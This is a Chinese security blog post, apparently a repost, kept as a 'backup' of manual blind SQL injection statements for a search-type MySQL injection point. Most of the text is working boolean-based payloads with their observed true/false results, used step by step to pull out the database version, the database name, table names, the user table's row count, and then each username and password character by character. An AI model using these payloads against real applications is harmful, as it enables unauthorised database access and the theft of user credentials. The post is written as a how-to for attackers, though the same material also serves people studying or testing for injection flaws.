mysql搜索型注入盲注语句备份

暗月博客 2019年11月21日20:30:56评论390 views字数 2875阅读9分35秒阅读模式
摘要

先来说一点基础的东西。 php中和mysql 的一点基本的知识。大鸟飞过了
left() 从左向右截取
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确
substr(要截取的字符串, 开始位置 ,截取长度)
Mid(列名,N,1)来截取列名的第N位字符
ORD(str)
如果字符串str最左面字符是一个多字节字符,通过以格式((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code...] 返回字符的ASCII代码值来返回多字节字符代码。如果最左面的字符不是一个多字节字符。返回与ASCII()函数返回的相同值。
比如
SELECT ORD(’2′) 返回的是 50,而2的ASCII正好是50

到一个搜索型注入点,sqlmap Havij 还有穿山甲都没办法识别,于是只能手工注入了。由于是带错的回显的。所以相对好一点。不支持结果显示。

先来说一点基础的东西。

php中和mysql的一点基本的知识。大鸟飞过了
left() 从左向右截取
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确
substr(要截取的字符串, 开始位置 ,截取长度)
Mid(列名,N,1)来截取列名的第N位字符
ORD(str)
如果字符串str最左面字符是一个多字节字符,通过以格式((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code...] 返回字符的ASCII代码值来返回多字节字符代码。如果最左面的字符不是一个多字节字符。返回与ASCII()函数返回的相同值。
比如
SELECT ORD(’2′) 返回的是 50,而2的ASCII正好是50

通过报错是Mysql的数据库,所以直接开始准备查看Mysql的数据版本了

1.判断版本

left() 从左向右截取

?
1
2
3
%'and(SELECT left(version(),1)>4) and '%'='true 返回正常
%'and(SELECT left(version(),1)>6) and '%'='false 返回异常
%'and(SELECT left(version(),1)=5) and '%'='true 返回正常

正常的SELECT version() 显示的是 5.5.8-log 从左往右截取 就是意味着执行的是 left(5.5.8-log,1)截取的第一位是5

2.猜测数据库长度

?
1
2
3
4
5
%'and(SELECT length(database())>1) and '%'=' true
 
%'and(SELECT length(database())>10) and '%'='false
 
%'and(SELECT length(database())=4) and '%'='true

length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。经典的折半法

3.猜解数据库名字

left()从左向右截取 注意观察left()函数中的数字变化

?
1
2
3
4
5
6
7
8
%'and(SELECT left(database(),1))>'1' and '%'='
 
%'and(SELECT left(database(),1))>'1' and '%'='
 
%'and(SELECT left(database(),1))='p' and '%'=' p
%'and(SELECT left(database(),2))='ph' and '%'='ph
%'and(SELECT left(database(),3))='php' and '%'=' php
%'and(SELECT left(database(),4))='phpx' and '%'='

最后猜解出来是phpx

5.猜测表名

?
1
2
3
%' and (select length(group_concat(table_name)) from information_schema.tables where table_schema=0x70687078)>0 and '%'='
 
%' and (select ord(mid(group_concat(table_name),1,1)) from information_schema.tables where table_schema=0x70687078)>0 and '%'='

返回表名的第一个ascii值

6.猜测字段

?
1
2
3
%'and(select count(username)from user)>0 and '%'='
 
%'and(select count(password)from user)>0 and '%'='

7.猜测user表中的总数

?
1
2
3
4
5
%'and(select count(*)from user)>2 and '%'='false
 
%'and(select count(*)from user)>1 and '%'='true
 
%'and(select count(*)from user)=2 and '%'='有两个 密码一样的方法

8.判断username长度

?
1
2
3
4
5
6
7
8
9
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>0 and '%'=' true
 
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>9 and '%'=' true
 
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)>10 and '%'='false
 
%'and (select (select length(username) from user limit 0,1) from user limit 0,1)=10 and '%'='true 第一位username是10位
 
%'and (select (select length(username) from user limit 1,1) from user limit 1,1)>0 and '%'=' true  第二位同是10为

9.猜解username的值

?
1
2
3
%'and (select ord(mid(username,1,1)) from user limit 0,1)>121 and '%'='
%'and (select ord(mid(username,2,1)) from user limit 0,1)>121 and '%'='
%'and (select ord(mid(username,3,1)) from user limit 0,1)>121 and '%'='

这里得利用<>来不断的缩小范围,不然很苦逼

10,猜解密码的长度和内容,和username是一样的

11.猜测本表以外的字段

?
1
2
select length((select+table_name+from+information_schema.tables+limit+0,1))<100
select length((select+table_name+from+information_schema.tables+limit+0,1))=14

12最后剩下的要说的就是ascii函数和hex函数了

这两个函数的意义是避开php的GPC转义,例如:

?
1
2
3
selectsubstr(left((select user from ebt_user),1),1,1)=char(48)
 
%'and(SELECT left(version(),1)=5) and '%'='

总的来说,盲注理解起来其实非常简单,就是做起来非常费劲

参考:http://bbs.blackbap.org/thread-3309-1-1.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:30:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mysql搜索型注入盲注语句备份http://cn-sec.com/archives/71897.html

发表评论

匿名网友 填写信息